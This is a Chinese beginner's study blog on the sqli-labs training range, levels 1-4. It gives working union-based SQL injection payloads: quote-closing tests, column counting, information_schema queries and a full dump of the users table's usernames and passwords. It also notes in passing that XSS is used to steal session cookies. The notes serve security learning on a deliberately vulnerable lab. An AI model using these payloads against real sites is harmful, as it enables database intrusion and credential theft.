sqli-labs Less1-4 新手修仙版

今天学习的是sql的靶场

题外话:(没必要看,仅自己记录一下)

1.XXS: 跨站脚本攻击

2.cookie & session:

通俗理解:Session 是服务器端的「用户档案袋」,里面记着用户的详细登录信息、权限等;Cookie 是浏览器端的「档案袋编号」,每次请求都带上编号,服务器根据编号找到对应的档案袋,确认用户身份。

XSS 窃取的 Cookie,核心就是这个「档案袋编号(SessionID)」------ 拿到编号,就能冒充用户从服务器调取档案袋。

Less -4 靶场(我愿称之为通用靶场):

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema='xxxxx'

猜某表的所有列

Select column_name from information_schema.columns where table_name='xxxxx'

获取某列的内容

Select *** from ****

L ess -1

注入核心逻辑:闭合原有引号→注释多余字符→拼接自定义 SQL→联合查询获取数据

http://sqli-labs:8989/Less-1/

  • 注入类型判断

?id=1'

报错原因:SELECT * FROM 表名 WHERE id='1'' LIMIT 0,1; 单引号不匹配

结论:单引号字符型注入

  • ?id=1' or 1=1 --+ 恒为真(为什么会造成注入:Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 'or 1=1--+,直接构造的 sql 语句就是真的)

  • 判断查询字段数(order by 排序列数)

?id=1' or 1=1 order by 3 --+ order by 排序,判断列数

  • 查询数据库名

?id=-1' union select 1,database(),3--+

  • 查询数据库中的表名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(table_name),3

from information_schema.tables

where table_schema=database()--+

关键参数:table_schema=database() 限定为当前数据库;group_concat 拼接所有表名(避免分页)

  • 查询users表的所有字段名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(column_name),3

from information_schema.columns

where table_schema=database() and table_name='users'--+

  • 查询users表的所有账号密码(最终脱库)

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(username,':',password),3

from users--+

补充:

  1. 联合查询要求:前后查询字段数必须一致,需先用order by判断字段数
  2. 系统库information_schema是 SQL 注入脱库的核心,需熟记 3 个核心表:
  • tables:存储所有数据库的表信息
  • columns:存储所有表的字段信息
  • schema_name:存储所有数据库名

L ess -2 :(数字型注入)

  • 传入单引号测试:?id=1',页面报错(但报错原因和 Less-1 不同)
  • 传入数字逻辑测试:?id=1 and 1=2 → 页面无数据;?id=1 and 1=1 → 页面正常
  • 后续同Less-1

结论:数字型注入(后台 SQL 语句无引号包裹id参数,id直接作为数字参与查询)

Less-3 :(单引号 + 括号)

  • 核心特征:单引号 + 括号双重包裹参数,注入时必须同时闭合'),少一个都会报错
  • 闭合测试技巧:若单引号'报错,尝试')、")、))等组合,能让页面恢复正常的就是正确闭合方式
  • 联合查询的核心流程(判字段数→控显位→查库 / 表 / 字段 / 数据)在 Less-1/2/3 中完全通用,仅闭合格式不同
  • 后续同Less-1

报错信息是判断闭合方式的关键,需重点关注报错中「语法错误的位置」(如near ''1')' LIMIT 0,1'直接提示括号 + 单引号)

L ess -4:( 双引号 + 括号 )

  • 先试单引号测试:?id=1' → 页面无报错(和 Less-1/3 不同,排除单引号包裹)
  • 试双引号测试:?id=1" → 页面报错(关键特征)
  • 测试闭合方式:?id=1") --+ → 页面恢复正常
  • 后续同Less-1

结论:双引号 + 括号包裹的字符型注入(后台用("$id")包裹参数,需闭合双引号 + 括号)

总体小结:

快速判断闭合方式(通用方法)

如果不确定参数的包裹方式,按以下顺序测试,能让页面恢复正常的就是正确格式:

无引号(数字型):id=1 --+

单引号:id=1' --+

单引号 + 括号:id=1') --+

双引号:id=1" --+

双引号 + 括号:id=1") --+

相关推荐
爱可生开源社区1 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1771 天前
《从零搭建NestJS项目》
数据库·typescript
一次旅行2 天前
网络安全总结
安全·web安全
加号32 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏2 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐2 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
red1giant_star2 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
百锦再2 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
tryCbest2 天前
数据库SQL学习
数据库·sql
jnrjian2 天前
ORA-01017 查找机器名 用户名 以及library cache lock 参数含义
数据库·oracle